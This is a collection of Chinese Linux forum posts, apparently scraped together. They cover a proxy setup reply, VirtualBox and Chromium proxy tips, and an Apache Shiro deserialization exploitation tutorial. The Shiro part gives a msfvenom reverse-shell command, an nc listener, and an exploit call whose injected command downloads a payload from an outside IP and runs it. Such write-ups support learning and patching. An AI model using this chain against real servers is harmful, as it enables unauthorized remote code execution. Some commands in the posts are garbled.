@Pioneer 你百度一下嘛，很多的，很简单，最后丢给你一份提问的智慧
https://www.cyborghawk.cn/topic/30/提问的智慧

首先你得有个vps，国外服务器，然后去搭一个ss或者ssr或者v2ray服务

没看懂，报错贴一下

Apache Shiro Java 反序列化漏洞分析及利用

0x00 项目地址

https://github.com/HexChristmas/Shiro_exploit

0x01 概述

这两天被派去护网&重保，态势感知报了一条冰蝎的远程代码执行的告警，在通过告警日志以及webshell及相关信息，红队大概是通过shiro反序列化拿到主机权限，之前一大佬还特别分享过shiro反序列化漏洞，还没来及研究就碰上了，正好这个机会研究分析一波，
shiro用remembreme这个cookie对用户进行鉴权，防止出现越权问题，它使用CookieRemembreMeManager这个类，对这个remebreme这个cookie进行序列化，然后对这个字符流进行aes加密，在对其进行base64编码，然后在返回客户端remebreme Cookie，这其实是有问题的，shiro把aes的密钥硬编码在代码里，我们可以通过调试代码发现aes加码的密钥进行解密，使用ysoserial包进行反序列化的CommonsCollections2这个方法发现密钥进行解密，生成并返回带有远程代码执行的remebreme Cookie进而反弹shell

0x02 漏洞环境

方法一：Docker环境搭建

这里可以直接pull大佬们做好的docker的漏洞环境

docker pull medicean/vulapps:s_shiro_1

将docker漏洞环境的8080端口映射到本机的80端口

docker run -dit -p 81:8080 medicean/vulapps:s_shiro_1

方法二：Linux虚拟机或者VPS搭建tomcat及shiro环境

java环境啥的鸟都带了
直接去tomcat官网去下载二进制包，不用百度了，这里直接给你百度完了，点击我进行跳转，Run！
或者你直接可以

sudo wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz /usr/share

然后直接解压

sudo tar zxvf apache-tomcat-8.5.43..tar.gz

./usr/share/apache-tomcat-8.5.43/bin/startup.sh

我们现在只需把shiro包放到webapps下即可

sudo cp shiro.war /usr/share/apache-tomcat-8.5.43/webapps

然后访问

localhost:8080/Shiro

能看到这个就说明你已经启动成功了

0x02 漏洞利用

用msfvenom生成payload用于反弹shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=2333 elf >  payload

nc监听2333端口

nc -lvvp 2333

使用shiro的脚本进行远程代码执行漏洞利用

python shiro_exploit.py "http://127.0.0.1:81" "wget -p /tmp/ http://172.18.24.35/payload && chmod +x /tmp/payload && /tmp/payload"

0x03 漏洞修复

升级 Shiro 版本至 1.2.5 以上

0x4 参考文档

https://issues.apache.org/jira/browse/SHIRO-550
https://www.seebug.org/vuldb/ssvid-92180

感谢大佬分享，建议大佬学习一下markdown的方法

选择ubuntu 14.04就行

java环境
直接去tomcat官网去下载二进制包，不用百度了，这里直接给你百度完了，点击我进行跳转，Run！
或者你直接可以

sudo wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz /usr/sharcd

然后直接解压

sudo tar zxvf apache-tomcat-8.5.43..tar.gz

./usr/share/apache-tomcat-8.5.43./bin/startup.sh

直接访问

localhost:8080

能看到这个就说明你成功启动了，没启动来帖子下评论

今天在装virtualbox时候出现了这个错误

WARNING: The vboxdrv kernel module is not loaded. Either there is no module
         available for the current kernel (3.11.1-2-ARCH) or it failed to
         load. Please reinstall the kernel module virtualbox-host-modules or
         if you don't use our stock kernel compile the modules with

以为是安装包问题，下载了vmware，发现也一样，解决方法如下

uname -r //查看系统内核版本

搜索所有可用模块

apt-cache search virtualbox-host-modules

我的内核是4.19，就直接安装了

apt-get install linux419-virtualbox-host-modules

安装完之后，重启内核模块

sudo /sbin/rcvboxdrv

Unloading modules:
Loading modules: vboxnetadp vboxnetflt vboxpci vboxdrv

在启动virtualbox就没问题了

我们在鸟上装完chrome，突然发现他不能像windows或者mac一样，在Settings里直接设置代理服务器，像我这种英语都能菜的抠脚chrome翻译简直良心，firefox真心永不来，去google试了几种方法，比如

神马把SwitchyOmegaProxy本地下载下来，然后改后缀名为zip，然后再用chrome导入，

你会发现着尼马神马方法，真怀疑他们怎么成功的，可能当时他们的版本的chrome可能好使，但是最新的可能不行，或者就是这群傻逼根本就不懂，估计也没成功，误人子弟～！！！！！！！

---

接下来提供一种可行的办法，不行的话， 我吃屎
我们apt完chromium之后，
通过

man chromium

我们在很显眼的地方还到proxy-server神马神马

主要看上边那个图，下边的是我另一块屏幕，这都不重要对吧，
能看懂的人自然知道咋弄，其实不懂的也可以直接百度翻译对吧，translate.baidu.com 貌似是这么写，进不去去百度一下把，我也不知道写的对不对，
不懂的我直接贴出神仙的命令，看好，只写一遍

---

chromium ---proxy-server="socks5://127.0.0.1:1080"

玩鸟的都知道啥意思把，仅用http啥的自己去设置，实在不懂的话就可以卸载了，
然后自动就弹出来个chromium，搜索 东西啥的就能google了，这时候你在登录google帐号，去chromestore去下载SwitchyOmegaProxy,你不能每次开浏览器都终端手动打把，所以直接在浏览器做好代理

建议您参考如下 帖子进行安装更新
https://www.cyborghawk.cn/topic/19/cyborg系统常用配置及使用技巧